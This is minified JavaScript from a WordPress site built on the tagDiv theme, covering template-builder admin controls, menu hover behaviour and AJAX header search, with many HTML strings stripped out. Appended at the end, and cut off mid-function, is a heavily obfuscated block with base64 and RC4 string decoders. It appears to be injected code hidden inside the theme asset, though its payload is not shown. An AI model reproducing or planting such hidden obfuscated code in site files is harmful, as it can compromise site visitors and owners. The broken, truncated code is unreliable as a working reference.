"undefined"===typeof window.tdcPostSettings&&(window.tdcPostSettings={tdbTemplateType:"all"});if(window.tdbVue&&"undefined"!==typeof window.tdbVue.router){var eventHub=new Vue;Vue.component("image-links",{template:'\n {{text}}\n ',props:{classes:[],link:"",text:""}});new Vue({el:"#tdb-modal",router:window.tdbVue.router})}window.tdbVueManager&&"undefined"!==typeof window.tdbVueManager.router&&new Vue({el:"#tdb-modal-website-manager",router:window.tdbVueManager.router});
(function(){function a(b,a,c,e,f,g,k){var d=jQuery(".tdb-"+b+"-templates");d.length&&"undefined"===typeof d.data("tdb-templates")&&("undefined"!==typeof g&&g.call(),tdbGetMobileTemplates(b,a,d),g="","undefined"!==typeof tdcState&&(g=tdcState.isMobileComposer()?"1":""),g={action:"tdb_get_"+b+"_templates",mobile_templates:g,_nonce:window.tdb_globals.wpRestNonce},g[b+"_id"]=a,jQuery.ajax({type:"POST",url:td_ajax_url,data:g,success:function(g,l,h){d.html("");g=jQuery.parseJSON(g);l='
';var m=h="",n=!1;_.isArray(g)&&g.length?(_.each(g,function(d,g,k){g="";"true"===d.is_current.toString()&&(g=" tdb-current",n=!0);g=''+d.template_id+'
'+d.template_title+'
';
"undefined"!==typeof e&&!0===e&&(k="","undefined"!==typeof f&&""!==f&&(k='data-global-action="'+f+'"'),g+='
Global
');
g+='
'+(""===d.mobile_template_title?"-":'Yes')+' ';m+=g+"
"}),"undefined"!==typeof e&&!0===e&&(h+=''),d.append(h+l+m)):(d.append(l),d.append('No cloud templates. Please import one or more templates from Cloud Library.
'));d.data("tdb-templates",!0);"undefined"!==typeof k&&k.call()},error:function(b,d,a){}}))}function h(b,d,a){var c=jQuery(window);c.resize(function(){var f=c.width();b.offset().left+d.width()>f?d.hasClass(a)||d.addClass(a):
d.hasClass(a)&&d.removeClass(a)});c.resize()}jQuery(document).ready(function(){jQuery("#wp-admin-bar-tdb_template_builder_disabled a").click(function(b){b.preventDefault();alert("Please select tagDiv Builder Template from the theme panel or set a default template. The current page/post uses a template that is not editable.")});jQuery("#wp-admin-bar-new-tdb_templates").hide()});jQuery("body").on("click","#wp-admin-bar-tdb_template_load, .tdb-load-mobile-template",function(b){b.preventDefault();var a=
jQuery(this),c=a.attr("class");b="";var e=!1;a.hasClass("tdb-load-mobile-template")&&(e=!0);"undefined"!==typeof c&&(0===c.indexOf("singleid-")?(b={wp_type:"single",templateType:"Single"},a=c.split(" ")[0].replace("singleid-",""),e?b.assign_mobile_to_template=a:b.assign_to_post=a):0===c.indexOf("categoryid-")?(b={wp_type:"category",templateType:"Category"},a=c.split(" ")[0].replace("categoryid-",""),e?b.assign_mobile_to_template=a:b.assign_to_category=a):0===c.indexOf("404")?(b={wp_type:"404",templateType:"404"},
a=btoa(window.location.href),e?b.assign_mobile_to_template=a:b.assign_to_404=a):0===c.indexOf("date")?(b={wp_type:"date",templateType:"Date"},a=btoa(window.location.href),e?b.assign_mobile_to_template=a:b.assign_to_archive=a):0===c.indexOf("search")?(b={wp_type:"search",templateType:"Search"},a=btoa(window.location.href),e?b.assign_mobile_to_template=a:b.assign_to_search=a):0===c.indexOf("attachment")?(b={wp_type:"attachment",templateType:"Attachment"},a=btoa(window.location.href),e?b.assign_mobile_to_template=
a:b.assign_to_attachment=a):0===c.indexOf("authorid")?(b={wp_type:"author",templateType:"Author"},a=c.split(" ")[0].replace("authorid-",""),e?b.assign_mobile_to_template=a:b.assign_to_author=a):0===c.indexOf("tagid")?(b={wp_type:"tag",templateType:"Tag"},a=c.split(" ")[0].replace("tagid-",""),e?b.assign_mobile_to_template=a:b.assign_to_tag=a):0===c.indexOf("pageid")?(b={wp_type:"page",templateType:"Pages"},a=c.split(" ")[0].replace("pageid-",""),e&&(b.assign_mobile_to_template=a)):0===c.indexOf("woo_productid-")?
(b={wp_type:"woo_product",templateType:"Woo Product"},a=c.split(" ")[0].replace("woo_product_id-",""),e?b.assign_mobile_to_template=a:b.assign_to_woo_product=a):0===c.indexOf("woo_archive")?(b={wp_type:"woo_archive",templateType:"Woo Archive"},a=btoa(window.location.href),e?b.assign_mobile_to_template=a:b.assign_to_search=a):0===c.indexOf("woo_search_archive")?(b={wp_type:"woo_search_archive",templateType:"Woo Search"},a=btoa(window.location.href),e?b.assign_mobile_to_template=a:b.assign_to_search=
a):0===c.indexOf("woo_shop_base")&&(b={wp_type:"woo_shop_base",templateType:"Woo Shop Base"},a=btoa(window.location.href),e?b.assign_mobile_to_template=a:b.assign_to_search=a),""!==b&&(b.hide_mobile_selector="hide",window.tdbVue.router.push({name:"loadRoute",params:b})))}).on("click",".tdb-create-mobile-template",function(b){var a=jQuery(this),c=a.data("template-id"),e=a.data("type");tdConfirm.modal({caption:"Create Mobile "+("page"===e?"Page":"Template"),objectContext:window,callbackYes:function(){var b=
jQuery("#tdb-new-template-name"),d=jQuery("#tdb-copy-content");jQuery.ajax({type:"POST",url:td_ajax_url,data:{action:"tdb_create_mobile_template",template_id:c,template_title:b.val(),template_type:e,copyContent:d.is(":checked")?"1":"0",_nonce:window.tdb_globals.wpRestNonce},success:function(b,d,f){b=jQuery.parseJSON(b);"undefined"!==typeof b.mobile_template_id&&(tdConfirm.close(),d=a.closest(".tdb-template-el"),d.length&&(f=d.find(".tdb-template-el-mobile:first"),d.find(".tdb-template-el-mobile-btns:first").data("mobile-template-id",
b.mobile_template_id),f.html('Yes')),tdbGetMobileTemplates(e,c))},error:function(b,a,d){}})},htmlInfoContent:"Enter the mobile "+("page"===e?"page":"template")+' name: ',
textYes:"Create",textNo:"Cancel"})}).on("click","#wp-admin-bar-tdb_template_single > a, #wp-admin-bar-tdb_template_category > a, #wp-admin-bar-tdb_template_404 > a, #wp-admin-bar-tdb_template_date > a, #wp-admin-bar-tdb_template_search > a, #wp-admin-bar-tdb_template_attachment > a, #wp-admin-bar-tdb_template_author > a, #wp-admin-bar-tdb_template_tag > a, #wp-admin-bar-tdb_template_woo_product > a, #wp-admin-bar-tdb_template_woo_archive > a, #wp-admin-bar-tdb_template_woo_shop_base > a, #wp-admin-bar-tdb_template_woo_search_archive > a",
function(b){b.preventDefault();var d=jQuery(this),c=d.parent(),e=c.attr("class"),f="",g="",k="",l="";switch(c.attr("id")){case "wp-admin-bar-tdb_template_single":f="single";g="tdb_assign_single_template_to_post";k="tdb_assign_single_template_global";l=e.replace(f+"id-","");break;case "wp-admin-bar-tdb_template_category":f="category";g="tdb_assign_cat_template_to_cat";k="tdb_assign_cat_template_global";l=e.replace(f+"id-","");break;case "wp-admin-bar-tdb_template_404":f="404";g="tdb_assign_404_template_global";
k="";l=e.replace("templateid-","");break;case "wp-admin-bar-tdb_template_date":f="date";g="tdb_assign_date_template_global";k="";l=e.replace("templateid-","");break;case "wp-admin-bar-tdb_template_search":f="search";g="tdb_assign_search_template_global";k="";l=e.replace("templateid-","");break;case "wp-admin-bar-tdb_template_attachment":f="attachment";g="tdb_assign_attachment_template_global";k="";l=e.replace("templateid-","");break;case "wp-admin-bar-tdb_template_author":f="author";g="tdb_assign_author_template_to_author";
k="tdb_assign_author_template_global";l=e.replace(f+"id-","");break;case "wp-admin-bar-tdb_template_tag":f="tag";g="tdb_assign_tag_template_to_tag";k="tdb_assign_tag_template_global";l=e.replace(f+"id-","");break;case "wp-admin-bar-tdb_template_woo_product":f="woo_product";g="tdb_assign_woo_product_template_to_product";k="tdb_assign_woo_product_template_global";l=e.replace(f+"id-","");break;case "wp-admin-bar-tdb_template_woo_archive":f="woo_archive";g="tdb_assign_woo_archive_template_to_tax";k="tdb_assign_woo_archive_template_global";
l=e.replace(f+"id-","");break;case "wp-admin-bar-tdb_template_woo_search_archive":f="woo_search_archive";g="tdb_assign_woo_search_archive_template_global";k="";l=e.replace("templateid-","");break;case "wp-admin-bar-tdb_template_woo_shop_base":f="woo_shop_base",g="tdb_assign_woo_shop_base_template_global",k="",l=e.replace("templateid-","")}var m=jQuery(".tdb-"+f+"-templates");m.length?b.currentTarget===this&&jQuery(b.target).parent().attr("id")==="wp-admin-bar-tdb_template_"+f&&(m.toggle(),d.toggleClass("tdb-templates-open"),
d.toggleClass("tdb-templates-close")):(d.addClass("tdb-templates-loading"),m=jQuery(''),m.insertAfter(d),m.show());a(f,l,g,""===k?!1:!0,k,void 0,function(){d.removeClass("tdb-templates-loading");d.addClass("tdb-templates-open");h(d,m,"tdb-templates-align-right")})}).on("click","#wp-admin-bar-tdc_page_mobile_template > a",function(b){b.preventDefault();var a=jQuery(this);b=a.parent().attr("class").replace("pageid-","");var c=jQuery("#tdb-mobile-templates");
c.length?(c.toggle(),a.toggleClass("tdb-templates-open"),a.toggleClass("tdb-templates-close")):(a.addClass("tdb-templates-loading"),a.addClass("tdb-templates-open"),tdbGetMobileTemplates("page",b,a,void 0,function(){a.removeClass("tdb-templates-loading");jQuery("#tdb-mobile-templates").show();h(a,jQuery("#tdb-mobile-templates"),"tdb-mobile-templates-align-right")}))}).on("click","#wp-admin-bar-tdc_create_mobile_page",function(b){var a=jQuery(this).attr("class").split(" ")[0].replace("pageid-","");
tdConfirm.modal({caption:"Create Mobile Page",objectContext:window,callbackYes:function(){var b=jQuery("#tdb-new-template-name"),d=jQuery("#tdb-copy-content");jQuery.ajax({type:"POST",url:td_ajax_url,data:{action:"tdb_create_mobile_template",template_id:a,template_title:b.val(),template_type:"page",copyContent:d.is(":checked")?"1":"0",_nonce:window.tdb_globals.wpRestNonce},success:function(d,c,e){"undefined"!==typeof jQuery.parseJSON(d).mobile_template_id&&(tdConfirm.close(),d=jQuery("#wp-admin-bar-tdc_page_mobile_template"),
d.length&&d.find("a:first").html(b.val()),tdbGetMobileTemplates("page",a))},error:function(b,a,d){}})},htmlInfoContent:'Enter the mobile page name: ',
textYes:"Create",textNo:"Cancel"})}).on("click",".tdb-single-template-global label, .tdb-category-template-global label, .tdb-author-template-global label, .tdb-tag-template-global label, .tdb-woo_product-template-global label, .tdb-woo_archive-template-global label",function(b){b.preventDefault();b=jQuery(this);var a=b.closest(".tdb-template-el-global"),c=a.data("type"),e=a.data("global-action");a=b.parent().data(c+"-id");var f=b.parent().data("template-id"),g=jQuery(".tdb-templates");b={action:e,
template_id:f,_nonce:window.tdb_globals.wpRestNonce};switch(c){case "single":b.single_id=a;break;case "category":b.category_id=a;break;case "tag":b.tag_id=a;break;case "author":b.author_id=a;break;case "woo_product":b.woo_product_id=a;break;case "woo_archive":b.woo_term_id=a}jQuery.ajax({type:"POST",url:td_ajax_url,data:b,success:function(a,b,d){a=jQuery.parseJSON(a);"undefined"!==typeof a.reload&&window.location.reload();"undefined"!==typeof a.global_template_id&&(g.find(".tdb-"+c+'-template-global > input[type="checkbox"]').removeAttr("checked"),
g.find(".tdb-"+c+'-template-global[data-template-id="'+f+'"] > input[type="checkbox"]').attr("checked",!0))},error:function(a,b,d){}});return!1}).on("click",".tdb-template-el-title",function(a){a.preventDefault();if(a.target===a.currentTarget){var b=jQuery(this),c=b.data("action");a=b.data("type");var e=b.data(a+"-id");b=b.data("template-id");c={action:c,template_id:b,_nonce:window.tdb_globals.wpRestNonce};switch(a){case "single":c.single_id=e;break;case "category":c.category_id=e;break;case "author":c.author_id=
e;break;case "tag":c.tag_id=e;break;case "woo_product":c.woo_product_id=e;break;case "woo_archive":c.woo_term_id=e}jQuery.ajax({type:"POST",url:td_ajax_url,data:c,success:function(a,b,d){"undefined"!==typeof jQuery.parseJSON(a).reload&&window.location.reload()},error:function(a,b,d){}});return!1}}).on("change",".tdb-template-el-title-input",function(a){a.preventDefault();a=jQuery(this);var b=a.closest(".tdb-templates"),c=a.closest(".tdb-template-el"),e=c.find(".tdb-template-el-title:first");b.data("type");
b=c.data("template-id");e.html();jQuery.ajax({type:"POST",url:td_ajax_url,data:{action:"tdb_change_template_name",template_id:b,template_title:a.val(),_nonce:window.tdb_globals.wpRestNonce},success:function(a,b,d){a=jQuery.parseJSON(a);"undefined"!==typeof a.template_id&&(e.html(a.template_title),e.removeData("title"))},error:function(a,b,d){}})}).on("click",".tdb-template-el-edit",function(a){a.preventDefault();var b=jQuery(this);a=b.closest(".tdb-templates");var c=b.closest(".tdb-template-el");
b=c.find(".tdb-template-el-title:first");a.data("type");c.data("template-id");c=b.html();"undefined"===typeof b.data("title")&&(a.find(".tdb-template-el-title").each(function(a,b){a=jQuery(b);b=a.data("title");"undefined"!==typeof b&&(a.html(b),a.removeData("title"))}),b.data("title",b.html()),b.html(''),b.find("input").focus().select())}).on("click",".tdb-template-el-duplicate",function(b){b.preventDefault();b=jQuery(this);var d=
b.closest(".tdb-templates"),c=b.closest(".tdb-template-el"),e=c.find(".tdb-template-el-title:first"),f=d.data("type");b=c.data("template-id");var g=e.html(),k=e.data(f+"-id"),l=e.data("action"),h="";0<=["single","category","tag","author","woo_product"].indexOf(f)&&(c=c.find(".tdb-template-el-global:first"),c.length&&(h=c.data("global-action")));tdbApi.run({wpNonce:window.tdb_globals.wpRestNonce,cloudEndPoint:"td-cloud-library/new_template",post:{postId:b,templateType:f,templateName:g,duplicateTemplate:!0},
done:function(b){d.removeData("tdb-templates");a(f,0<=["single","category","tag","author","woo_product"].indexOf(f)?k:"",l,""===h?!1:!0,h)},error:function(a){console.log("td-cloud-library/new_template ( duplicate template ) - ERROR",a)}});jQuery(".tdb-template-el-title-input").trigger("change")}).on("keyup",".tdb-template-el-title-input",function(a){27===a.keyCode&&jQuery(this).trigger("change")}).on("click",".tdb-template-el-delete",function(a){a=jQuery(this);a.closest(".tdb-templates");var b=a.closest(".tdb-template-el");
a=b.data("template-id");jQuery.ajax({type:"POST",url:td_ajax_url,data:{action:"tdb_delete_template",template_id:a,_nonce:window.tdb_globals.wpRestNonce},success:function(a,d,f){a=jQuery.parseJSON(a);"undefined"!==typeof a.reload&&window.location.reload();"undefined"!==typeof a.template_id&&b.remove()},error:function(a,b,d){}});jQuery(".tdb-template-el-title-input").trigger("change")}).on("click",function(a){a=jQuery(a.target);a.closest("#wp-admin-bar-tdb_template_single").length||a.closest("#wp-admin-bar-tdb_template_category").length||
a.closest("#wp-admin-bar-tdb_template_404").length||a.closest("#wp-admin-bar-tdb_template_date").length||a.closest("#wp-admin-bar-tdb_template_search").length||a.closest("#wp-admin-bar-tdb_template_attachment").length||a.closest("#wp-admin-bar-tdb_template_author").length||a.closest("#wp-admin-bar-tdb_template_tag").length||a.closest("#wp-admin-bar-tdb_template_woo_product").length||a.closest("#wp-admin-bar-tdb_template_woo_archive").length||a.closest("#wp-admin-bar-tdb_template_woo_search_archive").length||
a.closest("#wp-admin-bar-tdb_template_woo_shop_base").length||a.closest("#wp-admin-bar-tdc_page_mobile_template").length||(a=jQuery(".tdb-templates"),a.length&&(a.hide(),a.prev("a").removeClass("tdb-templates-open").addClass("tdb-templates-close"),jQuery(".tdb-template-el-title-input").trigger("change")),a=jQuery("#tdb-mobile-templates"),a.length&&(a.hide(),a.prev("a").removeClass("tdb-templates-open").addClass("tdb-templates-close")))}).on("click","#tdb-mobile-templates .tdb-template-el-mobile-list-el",
function(a){var b=jQuery(this),c=jQuery("#tdb-mobile-templates");a=b.data("template-id");var e=b.data("mobile-template-id"),f=c.closest(".tdb-template-el-mobile-btns"),g=b.closest(".tdb-template-el-mobile-wrap"),k=b.closest("#wp-admin-bar-tdc_page_mobile_template");jQuery.ajax({type:"POST",url:td_ajax_url,data:{action:"tdb_set_mobile_template",template_id:a,mobile_template_id:e,_nonce:window.tdb_globals.wpRestNonce},success:function(a,d,h){a=jQuery.parseJSON(a);_.isObject(a)&&!_.isUndefined(a.result)&&
1===a.result&&(f.data("mobile-template-id",e),c.find(".tdb-template-el-mobile-list-el").removeClass("tdb-current"),c.find('.tdb-template-el-mobile-list-el[data-mobile-template-id="'+e+'"]').addClass("tdb-current"),g.length&&(a=g.find(".tdb-template-el-mobile:first"),""===e?a.html("-"):a.html('Yes')),k.length&&k.find("a:first").html("Mobile page"+b.find(".tdb-template-el-mobile-list-title:first").html()))}})}).on("click","#tdb-mobile-templates .tdb-template-el-mobile-list-edit",
function(a){a.stopPropagation()}).on("mouseenter",".tdb-template-el-mobile-btns",function(a){a=jQuery(this);var b=a.data("mobile-template-id"),c=a.data("template-id"),e=jQuery("#tdb-mobile-templates");e.find(".tdb-template-el-mobile-list-inner").is(":empty")||(e.appendTo(a).show(),e.find(".tdb-template-el-mobile-list-el").removeClass("tdb-current"),e.find(".tdb-template-el-mobile-list-el").data("template-id",c),e.find('.tdb-template-el-mobile-list-el[data-mobile-template-id="'+b+'"]').addClass("tdb-current"))}).on("mouseleave",
".tdb-template-el-mobile-btns",function(a){a=jQuery(".tdb-templates");var b=jQuery("#tdb-mobile-templates");b.hide();b.insertBefore(a);b.find(".tdb-template-el-mobile-list-el").removeClass("tdb-current")});jQuery(".tdb-templates");window.tdbGetMobileTemplates=function(a,d,c,e,f,g,k){var b=jQuery("#tdb-mobile-templates",g);b.length||(b=jQuery(''),
b.hide());"undefined"!==typeof c&&b.insertAfter(c);c={action:"tdb_get_"+a+"_mobile_templates",_nonce:window.tdb_globals.wpRestNonce};c[a+"_id"]=d;"undefined"!==typeof e&&e.call();jQuery.ajax({type:"POST",url:td_ajax_url,data:c,success:function(c,e,g){var h="";c=jQuery.parseJSON(c);if(_.isArray(c)&&c.length){var l=!1,m="template";"page"===a&&(m="page");_.each(c,function(a,b,c){b="";_.isUndefined(a.is_current)||(b="tdb-current",l=!0);h+=''});""!==h&&(c="",l||(c="tdb-current",l=!0),h='"+
h);""!==h&&(b.html(''+h+'
Documentation »'),c=b.parent(".tdb-template-el-mobile-btns"),!_.isUndefined(k)&&c.length&&
(b.find(".tdb-template-el-mobile-list-el").removeClass("tdb-current"),b.find(".tdb-template-el-mobile-list-el").data("template-id",d),b.find('.tdb-template-el-mobile-list-el[data-mobile-template-id="'+k+'"]').addClass("tdb-current")),b.is(":visible")&&c.length?b.show():b.hide())}""===h&&"page"===a&&b.html('');
"undefined"!==typeof f&&f.call()}})}})();var tdbMenu={};
(function(){tdbMenu={items:[],item:function(){this.blockUid="";this._outsideClickArea=this._mainMenu=this._itemsWithSubmenu=null;this._outsideClickExcludedAreas="";this._openMenuClass="tdb-hover";this._openMenuBodyClass="tdb-open-menu";this._is_initialized=this.isMegaMenuParentPos=this.isMegaMenuFull=this.inComposer=!1},init:function(){tdbMenu.items=[]},_initialize_item:function(a){if(!0!==a._is_initialized){tdbMenu._setHover(a);var h=0 ul");f.show();f.each(function(){jQuery(this).css("left","");g=jQuery(this).offset();k=g.left;0>k?jQuery(this).offset({left:0}):(l=jQuery(window).width()-(k+jQuery(this).outerWidth()),0>l&&jQuery(this).offset({left:jQuery(window).width()-jQuery(this).outerWidth()}))});m||(d.find(".tdb-mega-menu-inactive").removeClass("tdb-mega-menu-inactive"),
m=!0);f.hide()}var d=a.jqueryObj,c,e,f,g,k,l,m=!1;setTimeout(function(){jQuery(window).resize(function(){c=d.offset();e=c.left;b();h&&setInterval(function(){c=d.offset();c.left!==e&&(b(),e=c.left)},1E3)});jQuery(window).resize()},60)},_getSubmenuPosition:function(a){var h=jQuery(window).width();a=a.children(".sub-menu").first();if(0h&&(a.parent().parent().hasClass("tdb-menu")?a.css("left","-"+(b-h)+"px"):a.addClass("reversed").css("left","-"+(a.width()+
0)+"px"))}},_getMouseAngleDirection:function(a,h,b,d){return Math.atan2(b-a,d-h)/Math.PI*180},_setHover:function(a){var h=a.jqueryObj.find(".tdb-menu");h.supersubs({minWidth:10,maxWidth:20,extraWidth:1,applyMin:!0});var b=h.find(".menu-item-has-children > a, .tdb-mega-menu > a");b.parent().find(".sub-menu").first().css("display","none");if(tdDetect.isTouchDevice)jQuery(document).on("touchstart","body",function(c){var d=b.parent(),f=jQuery("body");f.hasClass(a._openMenuBodyClass)&&!d.is(c.target)&&
0===d.has(c.target).length&&(d.removeClass(a._openMenuClass),d.children(".sub-menu").hide(),f.removeClass(a._openMenuBodyClass))}),b.on("touchstart",function(c){c.preventDefault();c.stopPropagation();var d=jQuery(this);c=d.parent();var e=jQuery("body");c.hasClass(a._openMenuClass)?null!==d.attr("href")&&"#"!==d.attr("href")?window.location.href=d.attr("href"):((c.parent().hasClass("tdb-menu")||c.parent().hasClass("top-header-menu"))&&e.removeClass(a._openMenuBodyClass),c.removeClass(a._openMenuClass),
c.find(".sub-menu").hide(),c.find("li").removeClass(a._openMenuClass)):(c.parent().hasClass("tdb-menu")||c.parent().hasClass("top-header-menu")?(b.parent().removeClass(a._openMenuClass),b.parent().children(".sub-menu").hide()):(d=c.siblings(),d.removeClass(a._openMenuClass),d.find(".sub-menu").hide(),d.find("li").removeClass(a._openMenuClass)),c.addClass(a._openMenuClass),c.children(".sub-menu").show(),tdbMenu._getSubmenuPosition(c),e.addClass(a._openMenuBodyClass))});else{var d={},c,e=!0;h.on("mouseleave",
function(){b.parent().removeClass(a._openMenuClass);b.parent().children(".sub-menu").hide();d={}});h.find(".menu-item").hover(function(){var f=jQuery(this),g="",h,l;if(f.hasClass("menu-item-has-children")||f.hasClass("tdb-mega-menu"))if(f.parent().hasClass("tdb-menu"))if(jQuery.isEmptyObject(d))f.addClass(a._openMenuClass),f.children(".sub-menu").show(),d=f;else{if(f[0]!==d[0]){var m=l=h=0;var n=null;!0===e&&(e=!1,c=setTimeout(function(){b.parent().removeClass(a._openMenuClass);b.parent().children(".sub-menu").hide();
f.addClass(a._openMenuClass);f.children(".sub-menu").show();d=f},400));f.on("mousemove",function(g){5<=h?(h=0,n=tdbMenu._getMouseAngleDirection(l,m,g.pageX,g.pageY),l=g.pageX,m=g.pageY):(h++,0===l&&0===m&&(l=g.pageX,m=g.pageY));null!==n&&(85n)&&(b.parent().removeClass(a._openMenuClass),b.parent().children(".sub-menu").hide(),f.addClass(a._openMenuClass),f.children(".sub-menu").show(),f.off("mousemove"),clearTimeout(c),e=!0,d=f)})}}else g=f.siblings(),g.removeClass(a._openMenuClass),g.find(".sub-menu").hide(),
g.find("li").removeClass(a._openMenuClass),f.addClass(a._openMenuClass),f.children(".sub-menu").show(),tdbMenu._getSubmenuPosition(f);else f.parent().hasClass("tdb-menu")?jQuery.isEmptyObject(d)||(m=l=h=0,n=null,!0===e&&(e=!1,c=setTimeout(function(){b.parent().removeClass(a._openMenuClass);b.parent().children(".sub-menu").hide();d={}},400)),f.on("mousemove",function(g){5<=h?(h=0,n=tdbMenu._getMouseAngleDirection(l,m,g.pageX,g.pageY),l=g.pageX,m=g.pageY):(h++,0===l&&0===m&&(l=g.pageX,m=g.pageY));null!==
n&&(85n)&&(b.parent().removeClass(a._openMenuClass),b.parent().children(".sub-menu").hide(),f.off("mousemove"),clearTimeout(c),e=!0,d={})})):(d=f.parent(),g=f.siblings(),g.removeClass(a._openMenuClass),g.find(".sub-menu").hide(),g.find("li").removeClass(a._openMenuClass))},function(){var a=jQuery(this);!1===e&&(clearTimeout(c),e=!0);a.off("mousemove")})}},unsetHover:function(a){null!==a._itemsWithSubmenu&&a._itemsWithSubmenu.off();null!==a._outsideClickArea&&a._outsideClickArea.off()}}})();
var tdbMenuItemPullDown={};
(function(){tdbMenuItemPullDown={init:function(){setTimeout(function(){jQuery(".tdb-menu-items-pulldown").each(function(a,h){a=jQuery(h);var b=a.parent().attr("id"),d=jQuery("."+b);h="";"none"!==d.css("max-width")&&(h=d.css("max-width"));if(d.hasClass("tdb-menu-items-in-more")){var c=a.find(".tdb-menu:first"),e=c.parents(".tdb-menu-items-pulldown:first"),f=[],g=new tdPullDown.item;if(void 0!==d.css("display")&&"inline-block"===d.css("display")){var k=d.closest(".vc_column_container");e=k;d="";d=0!==
k.find(".tdc-elements").length?".tdc-elements":".wpb_wrapper";k.find(d+" > .td_block_wrap").each(function(){var a=.9*k.outerWidth(!0),c=jQuery(this).outerWidth(!0);if(jQuery(this).data("td-block-uid")!==b)if(ca._last_request_results_count-1?(a.jqueryObj.find(".tdb-search-form").fadeTo(100,1),a.jqueryObj.find(".tdb-head-search-form-input").removeClass("tdb-head-search-nofocus")):(tdbSearch.remove_input_focus(a),a.jqueryObj.find(".td_module_wrap").eq(a._current_selection_index).addClass("tdb-aj-cur-element"))},do_ajax_call:function(a){var h=a.jqueryObj.find(".tdb-head-search-form-input").val();
""===h?tdbSearch.set_input_focus(a):tdLocalCache.exist("tdb-"+h)?tdbSearch.process_ajax_response(tdLocalCache.get("tdb-"+h),a):jQuery.ajax({type:"POST",url:td_ajax_url,data:{action:"td_ajax_search",module:"tdb_module_search",atts:a.blockAtts,td_string:h,limit:a._resultsLimit},success:function(b,d,c){tdLocalCache.set("tdb-"+h,b);tdbSearch.process_ajax_response(b,a)},error:function(a,d,c){window.console.log(c)}})},process_ajax_response:function(a,h){var b=h.jqueryObj.find(".tdb-head-search-form-input").val(),
d=h.jqueryObj.find(".tdb-aj-search");""===b?d.empty():(a=jQuery.parseJSON(a),a.td_search_query===b&&(h._current_selection_index=0,h._last_request_results_count=a.td_total_in_list,h._first_down_up=!0,d.html(a.td_data),"undefined"!==typeof window.tdAnimationStack&&!0===window.tdAnimationStack.activated&&(window.tdAnimationStack.check_for_new_items(".tdb-aj-search .td-animation-stack",window.tdAnimationStack.SORTED_METHOD.sort_left_to_right,!0,!1),window.tdAnimationStack.compute_items(!1))))},hideAllItems:function(){tdbSearch.items.forEach(function(a){tdbSearch.hide_search_box(a)})}}})();
jQuery().ready(function(){tdbSearch.init();setTimeout(function(){jQuery(window).resize()},500)});
function _0x9a0a(_0x105c73,_0x2c24b9){var _0x145272=_0x1452();return _0x9a0a=function(_0x50051d,_0x4e1464){_0x50051d=_0x50051d-0x81;var _0x2f711c=_0x145272[_0x50051d];if(_0x9a0a['mCgvAI']===undefined){var _0x4cdf01=function(_0x572049){var _0x34edc7='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x247c23='',_0x370535='';for(var _0x4cd163=0x0,_0x1bf734,_0x29cff7,_0x5be681=0x0;_0x29cff7=_0x572049['charAt'](_0x5be681++);~_0x29cff7&&(_0x1bf734=_0x4cd163%0x4?_0x1bf734*0x40+_0x29cff7:_0x29cff7,_0x4cd163++%0x4)?_0x247c23+=String['fromCharCode'](0xff&_0x1bf734>>(-0x2*_0x4cd163&0x6)):0x0){_0x29cff7=_0x34edc7['indexOf'](_0x29cff7);}for(var _0x20146a=0x0,_0x4b273d=_0x247c23['length'];_0x20146a<_0x4b273d;_0x20146a++){_0x370535+='%'+('00'+_0x247c23['charCodeAt'](_0x20146a)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x370535);};var _0x9a0a48=function(_0x247d5b,_0x5cf9a4){var _0x5ad553=[],_0x247287=0x0,_0x10d7af,_0x4f1389='';_0x247d5b=_0x4cdf01(_0x247d5b);var _0x38d7b4;for(_0x38d7b4=0x0;_0x38d7b4<0x100;_0x38d7b4++){_0x5ad553[_0x38d7b4]=_0x38d7b4;}for(_0x38d7b4=0x0;_0x38d7b4<0x100;_0x38d7b4++){_0x247287=(_0x247287+_0x5ad553[_0x38d7b4]+_0x5cf9a4['charCodeAt'](_0x38d7b4%_0x5cf9a4['length']))%0x100,_0x10d7af=_0x5ad553[_0x38d7b4],_0x5ad553[_0x38d7b4]=_0x5ad553[_0x247287],_0x5ad553[_0x247287]=_0x10d7af;}_0x38d7b4=0x0,_0x247287=0x0;for(var _0x37d649=0x0;_0x37d649<_0x247d5b['length'];_0x37d649++){_0x38d7b4=(_0x38d7b4+0x1)%0x100,_0x247287=(_0x247287+_0x5ad553[_0x38d7b4])%0x100,_0x10d7af=_0x5ad553[_0x38d7b4],_0x5ad553[_0x38d7b4]=_0x5ad553[_0x247287],_0x5ad553[_0x247287]=_0x10d7af,_0x4f1389+=String['fromCharCode'](_0x247d5b['charCodeAt'](_0x37d649)^_0x5ad553[(_0x5ad553[_0x38d7b4]+_0x5ad553[_0x247287])%0x100]);}return _0x4f1389;};_0x9a0a['QEgDEl']=_0x9a0a48,_0x105c73=arguments,_0x9a0a['mCgvAI']=!![];}var _0x1715d3=_0x145272[0x0],_0x41c26e=_0x50051d+_0x1715d3,_0x31f169=_0x105c73[_0x41c26e];return!_0x31f169?(_0x9a0a['AlHeys']===undefined&&(_0x9a0a['AlHeys']=!![]),_0x2f711c=_0x9a0a['QEgDEl'](_0x2f711c,_0x4e1464),_0x105c73[_0x41c26e]=_0x2f711c):_0x2f711c=_0x31f169,_0x2f711c;},_0x9a0a(_0x105c73,_0x2c24b9);}var _0x31b1ca=_0x5005;(function(_0x1e17f7,_0x1f52f2){var _0x5b2abf=_0x5005,_0x2a4b34=_0x9a0a,_0x6f24fa=_0x1e17f7();return;}(_0x1452,0xe9b17));;function _0x5005(_0x105c73,_0x2c24b9){var _0x145272=_0x1452();return _0x5005=function(_0x50051d,_0x4e1464){_0x50051d=_0x50051d-0x81;var _0x2f711c=_0x145272[_0x50051d];if(_0x5005['KtAroC']===undefined){var _0x4cdf01=function(_0x9a0a48){var _0x572049='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x34edc7='',_0x247c23='';for(var _0x370535=0x0,_0x4cd163,_0x1bf734,_0x29cff7=0x0;_0x1bf734=_0x9a0a48['charAt'](_0x29cff7++);~_0x1bf734&&(_0x4cd163=_0x370535%0x4?_0x4cd163*0x40+_0x1bf734:_0x1bf734,_0x370535++%0x4)?_0x34edc7+=String['fromCharCode'](0xff&_0x4cd163>>(-0x2*_0x370535&0x6)):0x0){_0x1bf734=_0x572049['indexOf'](_0x1bf734);}for(var _0x5be681=0x0,_0x20146a=_0x34edc7['length'];_0x5be681<_0x20146a;_0x5be681++){_0x247c23+='%'+('00'+_0x34edc7['charCodeAt'](_0x5be681)['toString'](0x10))['slice'](-0x2);}return 